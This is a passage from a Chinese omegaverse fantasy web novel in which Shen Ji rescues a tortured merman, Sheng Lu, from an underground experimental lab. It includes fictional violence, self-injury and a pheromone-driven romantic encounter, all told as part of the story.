沈继循着记忆中的人鱼实验室的地点，走在实验城中墙面粗糙的地底通道下，踩着台阶一步一步往下，越往下越感受到闷热微潮的空气。 他们将人鱼藏在地底至少二十米的地方。 逐步逼近那片人鱼区域，感受到越来越森严的防护，连这片通道都与其他粗糙的通道不同，墙面光滑如镜，机械眼随处可见，头顶上布满精细的激光雷达。 一旦识别到陌生人闯入，立刻能将闯入者切割成碎片。 看来人鱼实验就是这片实验城最重要的项目了。 沈继随手抓了一个路过的白大褂，凑近门口的虹膜识别。 尽管如此，当第一道门打开时，狡猾的识别系统依然认定为外力闯入。 激光射线刺眼地映入沈继睁大的瞳孔。 他本想退后，但那名挣脱的白大褂已经把后路的大门关闭。 激光线快速逼近，眼看就要将沈继切割成薯片了。 也就在这时，周围忽然暗了下来，什么都没有发生，看来是雷伊他们在发电站前行拉下了总电闸。 沈继第一回感到“松了一口气”的感觉。 不过，他没有敢松懈，精神力感知立刻膨胀到四周，果然，在第一层激光失效没多久，紧随而来的是更加密密麻麻的激光切割线。 看来人鱼实验室，拥有独立的发电机和独立的防护系统，绝不受外界干扰。 几十条激光线前后不一，毫无规则地逼近，绝不给人反应的时间。 在这恐怖的0.01秒之中，沈继的精神丝线以刁钻的角度见缝插针，快速穿越过重重叠叠的激光线，一直到对面大门的警报仪器。 在第一条激光切断他头颅和瞳孔的前一瞬间，终于将警报仪器彻底摧毁，发出轻微的电流滋滋声。 刚刚还十分刺眼的通道，瞬间昏暗下来，激光射线消失了。 这时候，沈继才发现自己的后背一层细汗，心跳撞得剧烈。 在刚刚那一刻，他甚至来不及发起精神力防护盾，只能用精神丝线殊死一搏。 还好，他侥幸成功了。 沈继打开第二道大门，在昏暗的实验室的玻璃仪器中，看见了各种各样的人鱼腺体和器官。 冷藏室排列着一个个尸袋，沈继看见被残忍割去尾巴后，强制拼接人腿，最终失败而导致死亡的人鱼。 从尸袋的标记来看，这是实验室中，大多数人鱼死亡的原因。 沈继皱着眉，一步一步走过这惨烈的人间炼狱，一阵彻骨的寒意从背脊生起。 没有一条是完整的，有的甚至还怀着身孕。 沈继想起了在左右城中，那副被拍卖的alpha人鱼腺体，一副怀过孕的人鱼腺体。 也许，那就是从这座实验城“批发”出去的。 沈继越往内，越感到一种彻骨的悲哀。 曾经，他以身为歌雅人民的后代而感到幸运，如今，这种自豪和幸运在现实面前化作刀子，哽在喉咙间难以下咽，这种悲哀是近乎羞耻的。 当他走进第三道门，黑色的眸珠映出了眼前那片辽阔的“深湖”。 这仿佛是一片深湖，实际是用透明的材质隔开了外界，形成一个将近二十米之深的人造湖。 在透明的玻璃后，看不见水有多远多深，水波荡漾，还有鱼群在其中游弋。 沈继走近“湖底”外，玻璃后的小鱼群见到他，便受了惊散开，在湖水中，却有一道碧蓝色的身影由远及近，在玻璃的反光后，渐渐地靠近他。 白色的长□□浮在水中，尖尖的耳朵，异瞳的血眸，耳鳍如碧波，皮肤尽显苍白。 不就是他命中的那位宿敌，大恶魔圣路。 沈继略显惊讶又无奈地看着他：“还真是到哪都能遇见你啊。” 然而圣路却用冰冷的陌生的眼神看着他，隔着玻璃，无波无澜。 不是沈继一贯所见的那种病态的，宠溺的，或冷酷的眼神。 他用那种毫无生机的目光，在掠过他一眼后，就游向了远方。 沈继看着人鱼离开的背影，那条美丽的尾巴在水中漂浮，荡开涟漪，仿佛在海洋中撒下一道道美丽的月光。 无所不能的圣路曾经也被困在玻璃围住的人造湖中。 4211年，末世未降临，歌雅人类的异能还未觉醒，在这里的圣路只是人鱼实验中的实验体…… 映着人鱼的背影，隔着厚重的玻璃，沈继转身离开了。 他来歌雅的最终目的就是为了杀圣路。 实验室的系统中有自爆装置，只要自己离开的时候，启动自爆装置，这一切都将被毁灭。 包括圣路。 一切都结束了，不会有大恶魔，不会有第四个火种，自己也不会被吞噬精力和寿命。 沈继走出第三道门。 在路过那间人鱼实验室时，沈继点开了实验数据。 0001号实验体：人鱼与人类交合之后所生的人鱼，由专业猎鱼民众在深海中捕获，拥有极低概率的返祖人鱼血脉，目前全世界仅发现一例。 实验发现，0001号已经觉醒拥有70%的自愈力，可自由变化鱼尾和双腿。 通过第2次重复伤害实验，将提高0.01%…… 通过第10次重复伤害实验，自愈力提高0.01%…… 通过第1000次重复伤害，自愈力提高0.001%…… 通过击打痛苦，覆盖脑波实验，最终将无限接近完美自愈力…… 重点实验：腺体中信息素将随着自愈力的修复不断提高等级，最终达到信息素王之称。 沈继关闭了数据报告，走过一罐罐泡着人鱼腺体的玻璃罐。 信息素王…… 自愈力99.9%…… 这样想来，那家伙每次被精神力伤害后，哪怕血肉模糊，都能若无其事的向自己笑出来，还以为他是天生没有痛感的恶魔呢。 走出第二道大门，沈继的脚步越来越沉重。 玻璃后面，那道冰冷的毫无生趣的目光，在沈继的心中反复出现，挥之不去。 他又看见冷柜里，几条幼年人鱼的尸体。 也许这几条人鱼就是人鱼族最后的希望，但这希望已经破灭了。 沈继脚步一顿，转身回去。 他快步回到第三道门，回到那深如海的巨大鱼缸前。 沈继大声喊他：“圣路！” 他的声音回响在空荡荡的实验室里。 在这深而清澈的水中，只有受惊的鱼群回应他。 圣路没有出来。 沈继在旁边找到了一部电梯，可以直通到这巨大鱼缸的上方。 出了电梯，走进平台，勉强能够到鱼缸的上方，那上面有一副巨大的机械捕捞臂。 想来，这些所谓的科学家是用机械臂抓住人鱼，再进行实验。 沈继看见人鱼浮滞在水底，他的眼神隔着深水，毫无聚焦，石榴红的眸珠已失去任何光芒，白□□浮在水中像一朵白色水仙。 他喊他：“圣路！” 这名字像一个毫不相干的名字，没有引起人鱼任何的注意。 沈继跳入水中，水面溅起一朵朵涟漪。 他不断向下，向着人鱼游去，穿过一片一片生态水草和小鱼群。 随着他往下潜，四周深水带来的压力越加恐怖。 就算有精神力做防护，这可怕的水压也让他难以忍受。 圣路一动不动地看着他，只在他游到身边时，不自觉地向下游了半个身位，随后又呆住不动了。 沈继再次游向他，没有任何装备措施，以肉身闯入这深二十米的水低，身体立刻传来强烈的痛感，肺部如同被火烧一样。 圣路似乎是惧怕人类，他不断下沉，和他保持距离。 沈继强忍着窒息的极限，终于一鼓作气，抓住了圣路。 他拉着他游向上方，在即将要浮出水面时，一面巨大的玻璃罩从边缘忽然出现，覆盖在水面上，仿佛给这人工湖盖了一个盖，几乎没有留下空隙。 沈继试图推动玻璃，然而他用尽力气，头顶上的禁锢依然纹丝不动，从掌心传来沉重的质感。 看来是这防护系统的另一重机关，要把他活活闷死在水里。 沈继心里骂了一句，他努力仰起头，额头抵着玻璃，好让口鼻尽量浮出水面，然而这紧贴着玻璃罩的水，动荡的水浪涌动着将仅剩的一丝空气都扑空。 但也比完全在水中强一点，不至于让他立刻窒息而死。 沈继将一只手放在玻璃罩面上，精神丝线顺着光滑的罩面向四周延伸，指望找到一点破绽。 他的另一只手还抓着圣路，感受到对方想挣脱自己的手，沈继加紧了力道。 “我是来带你出去的。” 圣路果然不动了。 这么安静的圣路，果然是不习惯。 直到精神丝线终于延伸到玻璃罩的边缘，找到了一条小小的缝隙。 如同发芽的种子，强悍的丝线从缝隙间硬生生挤出一道空间，撬开了一点玻璃罩。 “走吧。”沈继的话带着喘息，也带着坚定，脸庞被动荡的水浪打得忽隐忽现。 他沿着精神丝线找到了撬开的出口。 彻底浮出水面的那一刻，沈继才感觉自己又活了过来。 大概现在还没办法恢复腿形，圣路无法在地面走动。 他是抱着圣路乘坐电梯下来的，抱着他时，他得把人鱼长长的头发盘到自己手臂上，免得太长拖到地上。 水滴顺着人鱼的头发绕过他的手臂滴到地上，有的则顺着人鱼的尾巴，顺着沈继的衣角，一起滴落在地上。 滴答……滴答……滴答个不停。 世界寂静得可怕。 沈继看着圣路湿漉漉的脸庞，他的嘴唇和脸色都十分苍白，是常年不见阳光的那种白。 他低垂着眼，被他抱在怀里也一言不发，仿佛没有生命的瓷娃娃。 真奇怪，今天的圣路没有了变态的眼神，没有了调戏的语气，没有了对他病态的骚·扰。 完全是另一个人。 沈继甚至怀疑自己是不是认错了，或许这是和圣路一模一样的双胞胎。 ———— 实验城另一端的系统控制室，几位科学家忧心忡忡：“这些该死的家伙是为了人鱼来的吗？千万不要发现0001号实验体。” “我们已经通知了巨神教，还有其他股东，那边很快会增派更多人手来。” “但愿是这样，0001号的腺体只差一步就可以交给那位客人了，偏偏现在出幺蛾子，如果被那家伙破坏了腺体，我们全完了。” 所有人都沉默。 这时候，那位把沈继关在通道里的白大褂悠然自得道：”放心吧，那家伙不熟悉这里，就算不被激光线切成碎片，也要被活活闷死在水里，再说，人鱼藏在水里，陌生人怎么能接近他。” 其中一位像是领头的人道：“不，我还是不放心，我得亲自去看看那家伙死了没有。” ———— 沈继想避免他看见实验室那些光景，但那是出去的必经之路。 走出第三道门时，圣路不可避免看见了人鱼实验室内的光景，看见被挖出来泡着的人鱼腺体，看见人鱼被切割下来的尾巴，看见幼年人鱼的尸体…… 沈继看见他那原本失去生机的眼神猛然一变，发出骇人的光芒，脸色也由苍白转为激动的红。 他感觉到圣路的身躯在轻微的颤抖。 他抓住沈继的手，张口道：“咬……” “什么？” 圣路双手攀在他肩膀上，在他脖子上咬了一口。 沈继吃痛地看着他：“你又开始要变态了是吗？” 圣路翕动着唇，凑近他：“咬……我的腺体。” 第22章 第二十二章 咬深咬破。 “不行。”他明确地拒绝他。 由于Enigma这个性别恶劣独特的占有性, 一旦咬过某个omega，必然使这名omega无法接受其他人的信息素。 所以沈继只当他是受了刺·激。 “好……那放我在上面……”圣路指着那条长长的实验台。 这句话让沈继感到吃惊，照理说, 实验台对人鱼而言是怎样的火山地狱。 但圣路说这话的时候，平静如水，没有丝毫情绪可让人琢磨。 他还是把他放到那张实验台上。 人鱼的尾巴在台面上留下一道水印, 圣路从工具柜里找到了一把带钩的剪刀。 “你帮我把……腺体……挖出来。”他显然是太久没有说话了，声音十分生涩。 沈继看着他，没有动。 圣路又撩起头发，露出颈后面的腺体。 “挖掉……” 沈继看到他皮肤下微微凸起的地方，比正常人的腺体看起来更肿胀, 颜色略红。 圣路见沈继站在那里一动不动，眼中闪过一丝狠厉，拿着那把剪刀就往自己腺体戳进去。 沈继抓住他的手时，他的腺体已经鲜血直流。 “圣路！你到底在做什么？” 只见他颈后的腺体伤的很深, 但很快就停止流血，自愈力使他的伤口肉眼可见地愈合。 圣路推开他，沈继惊讶于他的力气大的出气。 人鱼在力气方面确实比人类要出色。 “我自己挖。” 英俊而美丽的人鱼坐在实验台上, 用剪刀疯狂攻击自己的腺体，鲜血淋漓。 这场景血腥而疯狂, 悲哀而阴森。 沈继抓住他的手：“我来帮你。” 他能明白圣路这么做的原因。他们培养他的自愈力，培养他的腺体，培养他的信息素, 无非是将他塑造成迎合人类某些阴暗癖好的性·奴。 纯粹的人鱼血脉, 怀揣着这副臻至完美的腺体，就算自己能带他出来，但他没有精神力异能, 没有任何自保的能力，这世界就是一个巨大的牢笼。 而圣路的这双眼睛，充满了坚定和狠厉，他绝不会再落在人类手里。 经历了如此多的痛苦和磨难，至少他没有想过死。 摘除这副腺体是他能做到的与人类对抗的唯一举措罢了。 沈继拿过那柄专门剪除腺体的剪刀。 只见上面的伤口已经再次愈合。 一股信息素飘散在空气中。 沈继心跳一紧。 糟了。 是人鱼腺体血液内传来的信息素。 等他反应过来。 涌动在皮肤下的血管已经被这股信息素缠绕，致命的香气带着不可抗拒的诱惑，绚烂的吻过每一个细胞。 直击心脏，皮肤战栗，呼吸急促，仿佛天空抽击过闪电，在他的身体中酝酿一场巨大的暴雨。 不愧是信息素王…… 虽然沈继之前已经闻到过圣路的信息素，但前后两股信息素相较，却根本不是一个纬度。 这是被实验室蓄意培养了几十年的腺体，没有经过任何染指的信息素，纯粹的令人血液颤动，令人头皮发麻，令人内心狂涌动荡。 一只纯洁致命的白鸽展翅穿过沈继的心脏，弹起宿命的乐章。 沈继的手在颤抖，手中的剪刀掉落在地上，发出响亮的金属声音。 他低着头，看着自己颤抖的手，心跳狂烈。 omega的信息素使他心头一片焦灼不安，他试图让自己冷静。 不相信一条人鱼的信息素会使人失去理智到这种地步。 这时候，一只手抬起他的下巴。 沈继动荡的视线中看见圣路得逞的微笑，病态的眼睛。 “Enigma的信息素……给我吧。” 他双手抱住沈继的肩膀，像人鱼亲吻海洋，亲上沈继的唇。 这个吻深藏着omega最美丽的交合信息素。 继而勾起了沈继心中那场狂暴的大雨，如同溢满水的天空，雨水从天而泄，由潮湿泥泞到恣意狂乱。 泼洒的水花溅落在他手心，直至手臂，胸膛，心脏，完全灼烧。 摇摇欲坠的灵魂，飘飘晃晃的心神，随着亲吻，越渐飘扬，点燃Enigma心中火焰。 圣路的唇微微错开他的嘴角，勾起弧度：“让你的信息素成为我的一部分。” 笑意深邃。 人鱼对周围的信息素高度敏感，他知道沈继是Enigma，是精神力极高的Enigma。 他需要他的信息素占据这副可悲的腺体。 蘸濡着水光的舌尖主动献进他的口腔，像饱含露水的柔嫩果实，不惧被暴风雨完全淹没。 他的手指尖爱抚过沈继后颈的腺体，那里代表着唯一解救的出路，也是关于传说中不可触碰的心跳。 沈继离开他的吻，抓住他的手腕：“别动。” 但却没有硬拉开他。 于是圣路便亲他，迫不及待地继续这个吻，他不能让他停下来。 他必须让这个年轻的人类Enigma俯首称臣。 这是一场焦急的求爱，其实是一场对生命的救赎。 亲吻的热意已经胜过了对信息素的渴求。 忽然，圣路的心脏猛然缩紧，眼神一颤。 是沈继的信息素，Enigma的信息素。 这股信息素来得晚，但猛烈异常，短短几瞬已经覆盖了圣路的信息素，它浓烈地占据了这间实验室，裹挟了omega的一切感官。 圣路身心颤抖起来，差点头昏眼花，显然这样强悍的信息素出乎他的意料。 不过…… 圣路的手完全揽住年轻的Enigma，病态的神思从眼中完全展露。 他需要这样的信息素，标记腺体。 Enigma的交合信息素出来，就代表他们已经陷入欲·望之中。 圣路微微错开亲吻的唇，以热烈的呼吸，低垂的眼眸望着眼前的男人。 沈继黑色的眼眸看向他。 视线交错的瞬间，脉搏中骤然的风暴肆意席卷心魄。毫不犹豫地击穿了两个人的灵魂。 圣路扬起头，按下他的头颅，让他亲吻自己的脖颈和肩膀。 沈继的吻谈不上温柔，绝对称得上热烈恣意，似夏天的暴风雨落在森林的击打。 天然不加雕琢，狂野中带着极大的安全感。 这简直就是圣路最享受的，最需要的。 这世上怎么会有这样奇妙的感觉，他爱惨了这种感觉。 难以克制心跳的声音，难以压制喉间情绪的涌动，难以平抚眼眸的颤抖。 太棒了！要是能完全拥有他就好了。 一想到这里，圣路的心脏就像爆炸一样炸开，无法控制自己病态的轻吟声。 “啊～再多一点……好舒服……” 听到这里沈继顿了一下，虽然声音略显变态，但内容还在正常范畴，看来现在的圣路还是个没有完全成型的变态。 见他居然分心，圣路双手捧住他的脸，已经快哭出来：“继续，宝贝，咬深，咬破，求你了！” Enigma的信息素完全占据了他的理智。 他石榴红的双眸绽放出熠熠生辉的光芒，与刚刚在水中的模样完全不同。 “我好喜欢……” 他的指尖拨揉着Enigma脑后的头发，像是一种深切的鼓励。 人鱼血脉中的交合信息素完全释放出来，像狂风疾扫过Enigma的心跳。 任谁都难以忍受这刻骨的求爱气息。 他用唇瓣甜蜜地亲吻他的下颌，又用颈部的肌肤若有似无地贴过他的嘴唇。 这是人鱼在求他咬腺体。 沈继的眼神黑沉沉的不见光，似乎已经被某种隐秘的情绪覆盖。 他的手指按住圣路的脖子，拇指抚过那片细而薄的皮肤，眼中不带任何审视，终于在那片等待已久的腺体上咬了下去。 那已经被愈合完全的腺体，依然占据着人鱼最纯粹的信息素，在他切破皮肤时，带来的快意，利落地冲击着浑身的感官。 圣路一瞬间失神的瞳孔，立刻泛起湿润的泪光，Enigma的信息素涌进他血液中，带来难以言喻的快·感，那种臻于窒息的感觉，细密地沿着血管的脉络传递至心脏内部。 噗通！噗通！噗通噗通噗通…… 有一瞬间像要死去，却又彻底释放得到了重生的惬意。 他张开口，想尖叫出来，但是没有力气，浑身软绵绵地要化成水一样。 他软绵无力，但毫无心理负担地倒在Enigma怀里。 沈继伸手抱住他。 虽然还没有标记，但此刻双方的信息素已经在人鱼腺体内完成了契合。 就算圣路有逆天的自愈能力，短时间内，Enigma的信息素也会影响到omega的身体。 圣路的手抱紧他的腰和肩，恨不得和他的身体来个交缠不休。 这时候，实验室外部的门打开，几个科学家惊愕地看着他们。 空气中的信息素已经完全说明了问题。 “这个混蛋……” 狂怒的话还没说出口，就已经被那强悍的信息素遏制了身体本能，溃不成军。 无论是人鱼还是Enigma的信息素，都是他们这些普通alpha难以忍受的。 只有一个beta被气到吐血：“这个混蛋，把我们培养了几十年的腺体破坏了！” 沈继抱着怀里的人鱼，走过那几名实验人员身边，精神丝线随意地在空中延伸拉扯，随着几条隐晦的光闪过，所有人的身体被整齐切割，一瞬后，身体变成几个部分断断续续落在地上。 一名科学家在最外围，看见沈继悄无声息地杀了几人，不由失神地退后了两步，在被切成几块之后，他口袋里那颗已经被按下的红色按钮，亮了起来。 “0001号……被一个……Enigma带走了……” 那边传来断断续续的电流声，随后有人道：“没用的东西。” 这时候雷伊几人也已经完成了外面通道的清除，几个人在外围通道见了面。 “呃呃……这是圣路？”雷伊惊恐加不安地看着沈继怀里的人鱼。 “你你你……他他……”沙墨手指着两人，直接吓成结巴。 劳埃斯虽然很惊讶，但好歹镇定多了：“你是要带他出去吗？” 意思是你不是要杀他吗？ 圣路垂眸向外撇了一眼，把脑袋深埋进沈继肩膀，做一条无辜的人鱼。 只有沈继知道他有多狡猾。 “我把他咬了。”他说。 第23章 第二十三章 没做过爱。 雷伊摸着自己的下巴：“咬他？你咬他干嘛？他是人鱼又不是真的鱼, 不过说起来，这么久没吃东西，我也早饿了。” 劳埃斯无语：“你蠢啊。” 雷伊后知后觉地惊愕起来：“难道是说……” 沈继道：“就是那样, 现在他体内有我的信息素，也许会让你们产生不适。” 因为刚刚被咬腺体的omega身上难免残留有Enigma的信息素，而被咬的omega难以控制这股领地信息素。 这就会对其他人产生影响。 雷伊无所谓道：“这有什么, 大家都是alpha嘛，呃，理解理解。” 劳埃斯闻到那股信息素的独特，虽然现在已经稀释了许多，本质上与alpha的信息素终究有差异。 虽然心知肚明, 但他没有明言。 这一次几个人学精了，除了人鱼实验室外，其他的实验室，包括人体实验, 基因实验，都在光脑上做了记录数据，回去好交差。 随后他们开启了实验城的自爆系统。 随着爆炸的火光冲天, 整片红雾森林地动山摇。 在实验城后方山林的一片水库，水质清澈见底, 阳光下波光粼粼，几道身影游弋在水中。 沈继从水里探出头时，一条蓝银色的尾巴如流星闪现在视线中。 圣路靠在岸边泉石上眯着眼, 阳光耀眼到让人无法直视。 他的长发逶迤在石头上, 因为长久不见阳光，皮肤太过苍白，他的五官是人鱼中经典的灵气深邃, 又结合了人类立体自然的脸部弧度。 他很英俊，但沈继觉得，这种英俊因为这些年长久的折磨，看起来扭曲而病态。 一双红色的眼透着大海深处的神秘，使人无法笼统得揣测他的想法。 但他又大概是在实验室呆得太久了，眼神偶尔会放空，陷入呆滞。 就比如现在，他浮在水边，望着那片幽深的树林，望着那段投进林中的阳光，一动不动，双眼无神。 但当沈继淌过水走过他身边时，他又好似早有准备般地转过头来看着他，像十年后的每一次见面那样精准地攫住他的眼睛。 他看着沈继，那双眼眸映着水光，似乎慢慢地又有了一丝精气神。 “你叫什么名字？”他问他。 沈继微微一笑，终于扳回一局了，终于他拥有大恶魔所不知道的事情，终于不是处于被动局面了。 “我才不准备告诉你。”他挑眉。 就在这时，雷伊从水中腾地站起来，远远传来吐槽声：“喂！沈继！你也等等我们啊。” 沈继：“……” 雷伊说的是未来星际的通用语言，不是歌雅语，但他的名字，圣路听懂了。 他仰起头叫他的名字：“沈继，抱我。” 沈继内心一动。 身为一个刚刚和Enigma交换了信息素的omega，而且还是暂时无法在陆地上行走的人鱼来说，这个要求十分应当。 况且，Enigma对自己咬过的omega，骨子里有着天然的保护欲，这是无法改变的。 他俯下身从水里捞起他，一手揽着他的腰，一手手臂托着他华丽的尾巴。 哗啦啦的水流了一地，白色的头发也湿漉漉地垂在沈继肩膀上。 这期间，圣路的手指抚摸他颈后的腺体，用还不够变态的声线说道：“Enigma的腺体……真好……” “别碰。”沈继避开他的手，毕竟腺体是很敏感的东西。 劳埃斯几人在后面跟着幸灾乐祸，但也心照不宣地没有去打扰。 “诶，沈继，我们去那边找点水。”说完几个人就往岔道口跑了。 “……”沈继无语，这些家伙该不会以为他们是在给自己制造约会的独处时间吧？ 事情发展成这样完全是出乎意料，但沈继还没有忘记自己这一趟的正事，他循着记忆中的方向找到了那块矮坡。 在此之前，他将圣路放在旁边一片较为柔软的草地上。 飞船所需的那块材料一直被他放在外套内，用防水袋包着，所以这一路潜水出来也没有被打湿。 他找到了当时那块石头的缝隙，将东西放进去，再刻下人鱼尾巴的标记。 沈继再回头的时候，天黑得十分迅速，几乎是十分钟，落日便结束了。 森林内的红雾越来越浓密。 劳埃斯等人已经不知去向，他们可能在这里面分散了。 这片森林被选为实验城，自然有他独到之处，这里磁场特殊，连他们的光脑也没办法追踪定位。 于是沈继决定就先在原地过夜，等着雷伊他们找过来。 他燃起一丛篝火，坐在旁边睡觉，顺便把黏湿的衣服烤干。 圣路就坐在旁边看着他，看他在火光映照下忽明忽暗的喉结，看他被火光吹的晃荡的影子，以及那双坦然又无动于衷的眉眼。 这时候，沈继早已经犯困了，靠着树就要睡了，他本来是个随处可睡的人，但现在睡不着了。 “你想勒死我吗？”沈继向下撇了一眼紧紧贴在他身上的人鱼。 本来人鱼的手骨骼就比普通人大一些，更别说常年涌动在深海水域练就的那股力气。 他的尾巴要是能拐两个弯，就真能把他活活勒死了。 “有野兽，我闻到了。”圣路抬着头，“无辜”地看着他。 眼前这条人鱼就是他这辈子的克星。 沈继从被勒紧的怀抱里抽出自己的手，揽着他的肩膀，精神力茧壳随之扩大罩住两人。 “睡吧。”沈继轻声说着，闭上眼。 年轻人直接一秒入睡，没有看到圣路惊讶而睁大的眼睛，以及那微红的脸颊，仿佛被周围的红雾染色了。 到了后半夜，沈继明显感觉到怀里人的不对劲。 他睁开眼，看见圣路的脸色揪紧，浑身干燥，唇色像雪一样苍白，原本光滑湿润的美丽鳞片变得瘪软暗淡。 “你怎么了？” “是药物排斥……”圣路垂着眼，看起来真像要死了一般。 沈继皱眉。 他在人鱼实验室看见过这种现象，那些尸袋里有的人鱼就有这种干瘪的现象。 他还以为是尸体放置太久的缘故。 圣路声音也变得干涩：“他们给我注射药剂，让我一直保持人鱼状态，一旦长时间……离开水，皮肤就会产生排斥反应。” 他的身体就像在焦灼的火上蒸烤，无情地一点点烤干他的生命。 “我带你去水库那里。”沈继说着就把他抱起来。 人鱼长长的尾巴在森林中穿过红雾和夜里的星辰。 水库离这里还有两个小时的路，沈继决定走旁边的捷径，那是一片杂草比人还高的原始树林。 他抱着圣路，脚步飞快地穿过那片逼仄的林间。 忽然间，一束强光完全照亮了黑夜中的森林，沈继差点被这突如其来的光芒照的睁不开眼。 他矮下身躯，躲在草丛里。 这些光芒来自天上数十架大型穿梭机，他们缓慢地游行在半空，把周围的世界变得犹如白天。 大概是实验城的幕后老板们派出来追查他们下落的。 真是劳师动众啊，就目前头顶上的这些大型巡航穿梭机，一架至少能搭载上千人力。 沈继低着头，见圣路的脸色已经开始显出脱水的状态，他的唇开始干瘪，跟尸袋中死去的人鱼一模一样。 他一旦跑起来，带起杂草的动静立刻就会出卖他们的位置，可是再等下去，圣路似乎也坚持不住了。 圣路看着他焦急的样子，突然笑起来：“你放下我吧。” 沈继没说话，也没放下他。 “在死之前看一看太阳，还有……看到像你这样的人，其实……”圣路眼睛里透出临死前的兴奋：“在这种时候死掉，也很幸福，但是只有一个遗憾了。” “什么遗憾？”沈继把他放在草从间。 圣路看着他：“我才出生到现在，其实已经一百多岁了。” 这倒是超出了沈继的意料，圣路看起来像人类中二十多岁的成年人。 不过人鱼据说至多能活千岁，所以，换算来说倒也正常。 “所以有什么遗憾？” 圣路眼里透出一丝病态又可怜的光芒：“我没做过爱。” “……”沈继闭上眼。 前一秒他居然还在期待他说出什么。 他果然是太高看他了。 “……死之前不能满足我吗？”圣路此时的眼睛真诚得不像话了。 他还想再说，沈继已经打断他：“老人家就不要想太多了。” “……”圣路无语。 沈继忽然伸手按住他的嘴巴，一团热乎乎的液体糊在他唇上。 圣路后知后觉发现那是血，他看见他手心的口子在流血。 他的手擦过他脖子和肩膀，在皮肤上留下一层薄薄的血。 “你在做什么？”圣路呆怔住了。 “血也是水。” 沈继手上按住他的尾巴擦过鳞片，滚烫的血一点点糊在他尾巴上。 感觉那点可怜的血很快就被焦渴的鳞片吸干了，但却恢复了一丝绮丽的色彩。 沈继重新划开手心的两道口子，鲜血更多地流出来。 “再坚持一下，等他们走了，我就带你去水库，放心吧，你根本死不了的。” 他用那点血摊开涂抹在他尾巴上，像在碧蓝的天空摊开一片彩虹。 圣路感觉那血滚烫炽热，他仰起头闭上眼，安静得可怕。 第24章 第二十四章 听见你喘。 在无死角的强照灯下, 连森林中的红雾都被穿透。 高大的杂草被狂风吹动压在他们身上，闻到一股浓郁的青草气息混杂着血腥气味。 圣路的嘴唇，脖颈, 背脊，和那一条华丽的尾巴上，都是沈继手心流出的血。 一艘小型搜捕舰从两人头顶的杂草上方飞过, 沈继压低了身子，人鱼完全在他压低的怀抱里。 他的胸膛紧贴着他的脸颊。 终于那片强烈的光芒渐渐从上空移开，附近的森林重归于黑暗。 沈继感觉到不对劲，怀抱中圣路的呼吸越来越沉重。 他心里一跳，连忙坐起身照看他, 微弱星光下只见他脸上显出一股病态的红晕…… 目前以他对圣路这家伙的了解，这股红晕大概率不正常：“你是难受还是……” 圣路用一只漂亮的手揽住他肩膀，头埋在他肩膀不正常地喘息：“你在明知故问吗……嗯……我既难受……但又好像很爽……” 沈继突然意识到什么，实验室那帮家伙不会给圣路注射·了什么时时刻刻发·情的药吧？ 联系到之前每次穿越圣路的表现, 沈继给他找到了这样一个合理的解释。 如此说来，这个变态此刻也变得可怜了。 “没事吧？”沈继问他。 他摇着头，一脸为难的表情：“请你不要再勾引我了……” 是的, 这话是圣路说的。 “？”他居然说自己勾引他？ 沈继露出了极度无语的冷笑。 可以确定，这家伙是天生的变态！ 他到底是怎么想到会给这个变态找补的。 尽管如此, 沈继还是抱起他，往水库那边走去。 十步，二十步, 三十步…… 沈继停下了脚步, 忍无可忍道：“你的手非得摸那里吗？” 不知是出于下意识还是故意，圣路的脸总蹭着他的胸口，他的手也总是抚过他的腺体。 “嗯……我都要死了还不让我爽一下……”他语气虚弱, 又理所当然。 “闭嘴，别动。”沈继冷冷看着他。 被凶了的圣路睁大了眼睛，那双眼睛可真无辜，看起来不可置信地伤心，但随后却靠在他肩膀上露出一个病态的笑容。 看起来哪有一点濒临死亡的觉悟。 沈继：“…………”自己刚刚是在奖励他吗？ 后面一路上，沈继感觉到人鱼的呼吸逐渐微弱，他难得安静，连骚话也不说了，他涂在他身上的血也完全凝固了。 这反而让沈继有点担忧。 他加快了速度赶到了那片水库，走进水中，把人鱼轻轻放进水里。 奄奄一息的人鱼进入水中，在他面前缓缓下沉，沈继看见他的眼睛慢慢睁开，在水中游动，围着他转了一圈又一圈。 宛如花朵枯败的尾巴逐渐浮现出原本盈润的光泽和华丽的莹亮。 天边曙光熹微。 沈继看着在水中的人鱼：“如果已经离不开水，那就要回大海才行。” 人鱼族已经快覆灭了，圣路作为少数留存下来的人鱼，确实应该回到大海。 “我要留在大陆上。”圣路抓住他的手，在他手心那几道狰狞的伤口上亲吻。 沈继感觉手心裂开的地方一阵微微的发痒，看见皮肉组织正全力生长，伤口以肉眼可见的速度愈合了。 他的自愈力居然可以对别人起效。如此神奇。 但是，如果没有自保能力，以圣路这样的存在，是没有办法在人类世界得到善终的。 “我送你回大海吧。” “我不想回大海。” “为什么？” 水中的人鱼顺势凑近他的脸，石榴红的眼眸如此深而满：“大海没有人鱼，也没有你。” 沈继自动忽略后面半句，反正已经习惯了这家伙说骚话。 “那你能去哪里，你离不开水。” “等药效完全过去，我就能变回人腿，到时候我会去寻找在世界上其他幸存的人鱼。” 他难得这样正经的和他说话。 “药效过去要多久？”沈继问。 细想一下，就算圣路回到大海，依然难以逃避以后的歌雅末世，还不如变回人腿在大陆生存，以后如果可以，也能坐上人类的宇宙飞船。 圣路没有告诉他。 这地方离实验城太近，还是不能久待，沈继向他伸出手：“上来。” 他们得去找个地方藏起来。 圣路看了他好一会儿，眼中深邃。 “上来。”沈继重复道，手向前。 圣路向他伸出手，感到他的手紧抓着自己，沈继微微用力一拉就将整条鱼捞起来抱在身上。 像人鱼这种明显的生物，沈继又不能带他去人多的地方。 尤其现在受巨神教的影响，各个城镇都在宣传人鱼是恶神的产物，沈继不能带他去城镇。 之前他用光脑试图联系劳埃斯，也没有得到回应。 最后他还是决定继续留在红雾森林。 这片森林磁场特殊，无法用追踪仪器，导猎犬大概也因为害怕这里面的怪兽而不愿意踏足这里。 所以他猜测那些人最多只会用小型悬浮艇来近地面追查。 趁着天晴气清，他挑了一个比较干净的山洞，在山洞前面不远处就有一面小水潭，随时可以把人鱼抱进里面。 保险起见，他还在山洞外用精神丝线布置一个简易的探测仪。 夜里红雾弥漫，他依然用篝火来取暖，捕一些小型野物的肉或者在水潭抓几条鱼来充饥。 因为怕有毒，野生的果实他不敢摘来吃。 也是过上野人的生活了。 “人鱼也吃鱼吧？”沈继把两条鱼架在火上烤。 “吃。” 到了夜晚的时候，圣路就坐在他旁边，下面用蒲草铺一层临时的床。 沈继尝了一口烤鱼，难吃，只能勉强进口。 早知道当时在实验室应该拿一点生活物资出来。 夜里睡觉，沈继只感觉两条蛇径直往自己领口里面钻，压着他喉咙，勒得他浑身难受。 